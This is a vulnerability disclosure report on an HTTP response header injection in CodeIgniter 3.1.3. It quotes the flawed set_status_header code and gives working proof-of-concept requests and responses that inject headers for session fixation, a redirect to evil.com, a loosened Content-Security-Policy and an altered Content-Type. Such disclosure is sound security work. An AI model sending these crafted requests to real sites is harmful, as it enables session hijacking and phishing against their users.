Vulnerability Report

This page intentionally left blank

Code Igniter
Vulnerability Report

Context Information

Project:	**Code Igniter – Vulnerability Report**		
Objective	Report security findings		
Methodology	Source code review and security testing		
Last Modification	03/08/17	**Requested by**	-
Version	1	**Researcher**	Guillermo Caminer

Change Management

Researcher	Version	Date	Description	Revision
Guillermo Caminer	1	03/08/17	First draft	GC

This page intentionally left blank

1 Introduction

In the current report we present the outcome of the security research done in the Code Igniter Framework. Particularly, an HTTP Response Header Injection has been found in the current version of the framework. Several attacks with different impacts are shown along with the prove of concept codes. Also, we show where the vulnerability is in the CI source code and remediation strategies are presented.

2 Verions Affected

Code Igniter stable version: 3.1.3

Apache version tested: 2.4.7

PHP version tested: 5.5.9

Firefox version tested: 51.0.1 (64-bit)

3 Description

Code Igniter is vulnerable to HTTP Response Header Injection. The framework takes unvalidated user input and returns it to the browser in a header field. Consequently, an attacker can inject one arbitrary header in the response.

This vulnerability can be exploited in several ways (see below) with different impacts.

The vulnerable function in the framework is **`set_status_header($code = 200, $text = '')`** of the **`system/core/Common.php`** script.

`system/core/Common.php:`

```
function set_status_header($code = 200, $text = '')
	{
		if (is_cli())
		{
			return;
		}

		if (empty($code) OR ! is_numeric($code))
		{
			show_error('Status codes must be numeric', 500);
		}

		if (empty($text))
		{
			is_int($code) OR $code = (int) $code;
			$stati = array(
				100	=> 'Continue',
				101	=> 'Switching Protocols',

				200	=> 'OK',
				201	=> 'Created',
				202	=> 'Accepted',
				203	=> 'Non-Authoritative Information',
				204	=> 'No Content',
				205	=> 'Reset Content',
				206	=> 'Partial Content',
```

```
                                300     => 'Multiple Choices',
                                301     => 'Moved Permanently',
                                302     => 'Found',
                                303     => 'See Other',
                                304     => 'Not Modified',
                                305     => 'Use Proxy',
                                307     => 'Temporary Redirect',

                                400     => 'Bad Request',
                                401     => 'Unauthorized',
                                402     => 'Payment Required',
                                403     => 'Forbidden',
                                404     => 'Not Found',
                                405     => 'Method Not Allowed',
                                406     => 'Not Acceptable',
                                407     => 'Proxy Authentication Required',
                                408     => 'Request Timeout',
                                409     => 'Conflict',
                                410     => 'Gone',
                                411     => 'Length Required',
                                412     => 'Precondition Failed',
                                413     => 'Request Entity Too Large',
                                414     => 'Request-URI Too Long',
                                415     => 'Unsupported Media Type',
                                416     => 'Requested Range Not Satisfiable',
                                417     => 'Expectation Failed',
                                422     => 'Unprocessable Entity',
                                426     => 'Upgrade Required',
                                428     => 'Precondition Required',
                                429     => 'Too Many Requests',
                                431     => 'Request Header Fields Too Large',

                                500     => 'Internal Server Error',
                                501     => 'Not Implemented',
                                502     => 'Bad Gateway',
                                503     => 'Service Unavailable',
                                504     => 'Gateway Timeout',
                                505     => 'HTTP Version Not Supported',
                                511     => 'Network Authentication Required',
                        );

                        if (isset($stati[$code]))
                        {
                                $text = $stati[$code];
                        }
                        else
                        {
                                show_error('No status text available. Please check your status code
number or supply your own message text.', 500);
                        }
                }

                if (strpos(PHP_SAPI, 'cgi') === 0)
                {
                        header('Status: '.$code.' '.$text, TRUE);
                }
                else
                {
                        $server_protocol = isset($_SERVER['SERVER_PROTOCOL']) ?
$_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1';
                        header($server_protocol.' '.$code.' '.$text, TRUE, $code);
                }
        }
}
```

In the code shown above, the `set_status_header()` function returns to the browser the unvalidated input stored in the variable `$_SERVER['SERVER_PROTOCOL` . Consequently, an attacker can inject an arbitrary header in the response, by manipulating the request protocol name/version.

The `set_status_header()` function is called in several places of the framework:

- `system/core/Exceptions.php → show_error()`
- `system/core/Input.php`
- `system/core/Output.php`
- `system/core/Common.php`

And the `show_error()` function is called from the `show_404()` function.

Whenever the `show_404()` function is called, the vulnerability is triggered. An attacker can exploit, for example, inexistent resources in the application which will trigger the following call chain:

```
show_404() → show_error() → set_status_header() → header($_SERVER['SERVER_PROTOCOL']...)
```

In the following sections, we will provide several prove of concept codes and different attacks that can be mounted over this vulnerability.

4 Prove of concept

As an example, we will use the following Controller which makes a call to `show_404()`

`application/Controllers/Pages.php:`

```
<?php
class Pages extends CI_Controller {
        public function view($page = 'home'){
           if ( ! file_exists(APPPATH.'views/pages/'.$page.'.php')){
                // Whoops, we don't have a page for that!
                show_404();
           }

           $data['title'] = ucfirst($page); // Capitalize the first letter
           $this->load->view('pages/'.$page, $data);
        }

        public function redirect_error($page = 'home'){
           /*Load the URL helper*/
           $this->load->helper('url');
           show_error("message", 302, $heading = 'An Error Was Encountered');
        }
}
```

If we make an ordinary request to an inexistent resource, we get the following HTTP round trip:

HTTP Request:

```
GET /index.php/Pages/View/inexistentResource HTTP/1.1
Host: vulnerable.site
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```

HTTP Response:

```
HTTP/1.1 404 Not Found
Date: Thu, 09 Mar 2017 18:10:27 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.20
Content-Length: 1130
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>404 Page Not Found</title>
<style type="text/css">
.
.   (extract)
.
```

Now, if we send the following HTTP protocol version/name:

HTTP Request:

```
GET /index.php/Pages/View/inexistentResource Injected-header: arbitrary-value
Host: vulnerable.site
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```

HTTP Response:

```
HTTP/1.1 404 Not Found
Date: Thu, 09 Mar 2017 20:07:18 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.20
Injected-header: arbirary-value 404 Not Found
Content-Length: 1130
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>404 Page Not Found</title>
<style type="text/css">
```

As we can see, `header($server_protocol.' '.$code.' '.$text, TRUE, $code)` is

eventually called with unvalidated input populating the `$server_protocol` variable, allowing an arbitrary header to be injected in the HTTP Response.

In the next section we will show several attacks that can be achieve exploiting this vulnerability.

5 EXPLOITS

Usually, to be able to successfully exploit this kind of vulnerability, attackers need to inject CRLF (%0d %0a) characters in the HTTP response (there is a great paper by Amit Klein using this technique[1]).

In Code Igniter, is not possible to inject CRLF characters, but since `set_status_header()` insert the malicious payload in a header, is not necessary to inject those characters.

The main limitation is that only one header can be injected, and only in resources that call `show_error()`. Even with this restriction, there some interesting attacks possible.

SESSION FIXATION

In a Session Fixation attack an attacker hijacks a valid user session. The attacker induce the victim to authenticate himself with the attacker's cookie, elevating the privilege of this cookie that the attacker already knows, hijacking the victim's session.

The vulnerability in `set_status_header()` gives the attacker the ability to set his cookie into the victim's browser cookie jar.

First, the attacker gets a valid cookie from the web app, lets say he get the following session id:

```
ci_session=v6c7gtctht5aqdf71r70qkn1bu80la9p
```

Then, the attacker induce the victim's browser to send this cookie to an non-existent resource in the web app:

HTTP Request:

```
GET /index.php/nonExistentResource Set-Cookie: ci_session=v6c7gtctht5aqdf71r70qkn1bu80la9p;
Host: vulnerable.site
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

1 http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

HTTP Response:

```
HTTP/1.1 404 Not Found
Date: Thu, 09 Mar 2017 21:02:03 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: ci_session=v6c7gtctht5aqdf71r70qkn1bu80la9p; 404 Not Found
Content-Length: 3481
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
.
. (extract)
.
```

Successfully inserting the attacker's cookie into the victim's browser cookie jar.

In the following requests, the victim's browser will send this cookie, if he login into the application and the app does not recreate the session id, the attacker will have the victim's session hijacked.

Code Igniter does not have an authentication library, so it's up to the developer to recreate the session id's after elevating privileges. There is one mitigation mechanism available: if CI is configured with `$config['sess_match_ip'] = TRUE`, the attacker needs to be behind the same switch/proxy/router that the victim, but this value is set to FALSE by default in the framework.

INSECURE REDIRECTS

By injecting the Refresh header, an attacker can redirect the victim to a malicious website. This facilitates phishing toattacks.

HTTP Request

```
GET /index.php/nonExistentResource Refresh: 0; url=http://www.evil.com/
Host: vulnerable.site
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

HTTP Response:

```
HTTP/1.1 404 Not Found
Date: Thu, 09 Mar 2017 21:56:25 GMT
Server: Apache/2.4.10 (Debian)
Refresh: 0; url=http://www.evil.com/ 404 Not Found
Content-Length: 3481
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
.
. (extract)
.
```

Almost immediately, the browser is redirected to http://www.evil.com.

Content Security Policy Bypass

By injecting `Content-Security-Policy` or `X-Content-Security_Policy` headers with a wildcard or malicious domain value, an attacker can modify the default browser policy exploiting old browsers[2]

HTTP Request

```
GET /index.php/nonExistentResource Content-Security-Policy: default-src *; script-src *;
Host: vulnerable.site
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

HTTP Response:

```
HTTP/1.1 404 Not Found
Date: Thu, 09 Mar 2017 22:29:51 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.20
Content-Security-Policy: default-src *; script-src *; 404 Not Found
Content-Length: 1130
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
.
. (extract)
.
```

2 https://bugzilla.mozilla.org/show_bug.cgi?id=717511

Content-type alteration

By injecting the Content-Type header, an attacker can modify the media type of the resource. This could help in XSS exploitation:

HTTP Request

```
GET /index.php/nonExistentResource Content-type: text/html
Host: vulnerable.site
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

HTTP Response:

```
HTTP/1.1 404 Not Found
Date: Thu, 09 Mar 2017 22:29:51 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.20
Content-Length: 1130
Connection: close
Content-Type: text/html 404 Not Found;charset=UTF-8

<!DOCTYPE html>
.
. (extract)
.
```

Security Headers alteration

Using the same attack, it is possible to set any security header, including:

- HTTP Strict Transport Security (HSTS)
- Public Key Pinning Extension for HTTP (HPKP)
- X-Frame-Options
- X-XSS-Protection
- X-Content-Type-Options
- X-Permitted-Cross-Domain-Policies

6 CONCLUSIONS

The $_SERVER['SERVER_PROTOCOL'] variable can be tainted. It accepts arbitrary user input in the format PROTOCOL:VERSION. This variable, like $_SERVER['HTTP_USER_AGENT'], needs to be validated before sending it back to the browser. Having the possibility of injecting an arbitrary header in a HTTP Response, an attacker has several exploitation scenarios as described in the Exploits section, with different impacts on the client-side.